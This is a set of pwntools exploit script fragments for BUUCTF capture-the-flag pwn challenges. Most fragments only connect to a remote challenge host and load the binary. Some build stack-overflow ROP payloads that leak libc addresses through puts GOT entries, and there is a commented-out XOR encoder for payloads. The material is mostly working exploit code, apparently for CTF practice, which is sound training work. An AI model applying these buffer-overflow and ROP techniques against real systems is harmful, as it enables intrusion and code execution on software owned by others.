from pwn import * from LibcSearcher import * r = remote('node5.buuoj.cn', 27974) # r = process('./level3') context(arch='i386', os='linux', log_level='debug') e = ELF('./level3')
from pwn import * from LibcSearcher import * r = remote('node5.buuoj.cn', 26823) # r = process('./guestbook') context(arch='amd64', os='linux', log_level='debug') e = ELF('./guestbook')
from pwn import * from LibcSearcher import * r = remote('node5.buuoj.cn', 27306) # r = process('./fm') context(arch='i386', os='linux', log_level='debug') e = ELF('./fm')
from pwn import * from LibcSearcher import LibcSearcher context(arch='amd64', os='linux', log_level='debug') # r = process('./ciscn_2019_c_1') e = ELF('./ciscn_2019_c_1') r = remote('node5.buuoj.cn', 25628)
# def enc(message): # ans = '' # for k in message: # k = ord(k) # if (k <= 96 or k > 122): # if (k <= 64 or k > 90): # if (k > 47 and k <= 57): # k ^= 0xf # else: # k ^= 0xe # else: # k ^= 0xd # ans += chr(k)
from pwn import * from LibcSearcher import * r = remote('node5.buuoj.cn', 27205) # r = process('./ciscn_2019_en_2') context(arch='amd64', os='linux', log_level='debug') e = ELF('./ciscn_2019_en_2')
rdi = 0x400c83 ret = 0x4006b9 payload = b'a'*0x58 + \ p64(rdi)+p64(e.got['puts'])+p64(e.plt['puts']) + \ p64(e.symbols['encrypt']) # p64中的\x00可以截断加密长度 # payload = enc(payload) r.recvuntil(b'Input your choice!') r.sendline(b'1') r.recvuntil(b'to be encrypted') r.sendline(payload)
from pwn import * from LibcSearcher import * r = remote('node5.buuoj.cn', 27747) # r = process('./ciscn_2019_n_5') context(arch='amd64', os='linux', log_level='debug') e = ELF('./ciscn_2019_n_5')
rdi = 0x400713 ret = 0x4004c9
payload = b'a'*0x28 + \ p64(rdi)+p64(e.got['puts'])+p64(e.plt['puts'])+p64(e.sym['main']) r.recvuntil(b'tell me your name') r.sendline(b'a') r.recvuntil(b'say to me?') r.sendline(payload) libc_puts = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) log.success('libc_puts: '+hex(libc_puts))
from pwn import * from LibcSearcher import * r = remote('node5.buuoj.cn', 25918) # r = process('./ciscn_2019_ne_5') context(arch='i386', os='linux', log_level='debug') e = ELF('./ciscn_2019_ne_5') system = e.plt['system'] binsh = 0x80482ea
from pwn import * from LibcSearcher import * r = remote('node5.buuoj.cn', 29937) # r = process('./babyrop2') context(arch='amd64', os='linux', log_level='debug') e = ELF('./babyrop2')
from pwn import * from LibcSearcher import * r = remote('node5.buuoj.cn', 25755) # r = process('./2018_rop') context(arch='i386', os='linux', log_level='debug') e = ELF('./2018_rop')
from pwn import * from LibcSearcher import * r = remote('node5.buuoj.cn', 26876) # r = process('./bjdctf_2020_babystack2') context(arch='amd64', os='linux', log_level='debug') e = ELF('./bjdctf_2020_babyrop')
from pwn import * from LibcSearcher import * r = remote('node5.buuoj.cn', 27500) # r = process('./bjdctf_2020_babystack2') context(arch='amd64', os='linux', log_level='debug') e = ELF('./bjdctf_2020_babystack2')
from pwn import * from LibcSearcher import * r = remote('node5.buuoj.cn', 25408) # r = process('./ez_pz_hackover_2016') context(arch='i386', os='linux', log_level='debug') e = ELF('./ez_pz_hackover_2016')
from pwn import * from LibcSearcher import * r = remote('node5.buuoj.cn', 29720) # r = process('./not_the_same_3dsctf_2016') context(arch='i386', os='linux', log_level='debug') e = ELF('./not_the_same_3dsctf_2016') # 没有ebp
from pwn import * from LibcSearcher import * r = remote('node5.buuoj.cn', 27584) # r = process('./PicoCTF_2018_rop_chain') context(arch='i386', os='linux', log_level='debug') e = ELF('./PicoCTF_2018_rop_chain')
from pwn import * from LibcSearcher import * r = remote('node5.buuoj.cn', 28838) # r = process('./pwn2_sctf_2016') context(arch='i386', os='linux', log_level='debug') e = ELF('./pwn2_sctf_2016')